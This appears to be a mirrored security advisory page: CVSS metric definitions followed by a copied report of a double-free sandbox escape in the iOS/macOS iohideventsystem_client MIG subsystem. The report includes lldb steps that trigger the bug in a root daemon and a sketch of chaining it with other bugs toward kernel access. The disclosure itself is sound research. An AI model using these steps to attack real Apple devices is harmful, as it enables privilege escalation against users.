The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: iOS / macOS MIG Object Lifetime Semantics Sandbox Escape
iOS/MacOS sandbox escape due to failure to comply with MIG object lifetime semantics in iohideventsystem_client subsystem
iohideventsystem_client is a MIG subsystem used by hidd or backboardd to send notifications to their clients. That is, you first have to pop backboardd, *then* use this to get in to a different, more privileged client. Both on iOS and MacOS there are more privileged clients.
This code is yet another very trivial variant, not only of these MIG bugs which I've been going on about for years, but it's literally using the same functions as a bug which KEEN team just got nominated for a pwnie for. But it as usual seems that I'm the only person who ever looks at these things (apart from the offensive community who don't report them.)
Perhaps the person at Apple who looked at KEEN's report didn't understand the complexities of the iOS and MacOS security model and realize that getting from backboardd to a different client is a privilege escalation. You really should look in to why these variants didn't get fixed; with source the bugs should look *exactly* the same...
anyway, what is the bug?
these MIG methods:
iohideventsystem_client_dispatch_virtual_service_copy_property
iohideventsystem_client_dispatch_virtual_service_set_property
iohideventsystem_client_dispatch_virtual_service_notification
iohideventsystem_output_event_to_virtual_service
iohideventsystem_copy_event_from_virtual_service
all don't respect MIG semantics; they deallocate ool memory passed to them and can also return an error, meaning MIG will deallocate that same address again.
I'm not gonna write a PoC, you can trivially repro it in the debugger:
on MacOS attach to hidd (you'll need to do this on another machine using lldb-server, or via ssh)
(lldb) break set -r ".*iohideventsystem_client.*"
Breakpoint 1: 29 locations.
Process 144 resuming
Process 144 stopped
* thread #5, queue = 'IOHIDService(0x7fc2b5d0ef90): 0x10000203d , IOHIDEventDriver', stop reason = breakpoint 1.22
frame #0: 0x00007fff34a4fee7 IOKit`iohideventsystem_client_dispatch_properties_changed
IOKit`iohideventsystem_client_dispatch_properties_changed:
-> 0x7fff34a4fee7 <+0>: push rbp
0x7fff34a4fee8 <+1>: mov rbp, rsp
0x7fff34a4feeb <+4>: push r15
Target 0: (hidd) stopped.
(lldb) reg r rdi
rdi = 0x0000000000005c03
go look up that port with lsmp; in this case it was powerd, which runs as root
attach a debugger to it, set a breakpoint on _iohideventsystem_copy_event_from_virtual_service in the target, then back in hidd:
(lldb) expr (void*) malloc(0x1000)
(void *) $0 = 0x00007fc2b8005000
(lldb) expr (void*) malloc(0x1000)
(void *) $1 = 0x00007fc2b7011a00
(lldb) expr (void*) malloc(0x1000)
(void *) $2 = 0x00007fc2b9801200
(lldb) expr (int) iohideventsystem_copy_event_from_virtual_service(0x5c03, 12345, 0, 0x00007fc2b8005000, 0x1000, 0, 0x00007fc2b7011a00, 0x00007fc2b9801200, 0x20)
that's manually calling the mig client code; we can trigger an error path by passing an invalid client id (12345)
in the target debugger (in this case it was connected to powerd) you should see you've hit _iohideventsystem_copy_event_from_virtual_service, now set breakpoints on vm_deallocate/mach_vm_deallocate
you'll see the error path get taken and the same address deallocated twice, first by _IOHIDUnserializeAndVMDeallocateWithTypeID and then by mach_msg_destroy because the MIG routine returned an error code.
You know how I keep going on about trivial variants; the last three bugs I report over the last week should be enough to make a full chain, from sandbox to backboardd (which can open hid clients) and to something like iap2d which has the entitlement to create hiduserdevices which you need to trigger the kernel queue integer overflow. All those bugs are basically trivial variants of issues I've reported over the last four years :-(
Found by: ianbeer
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum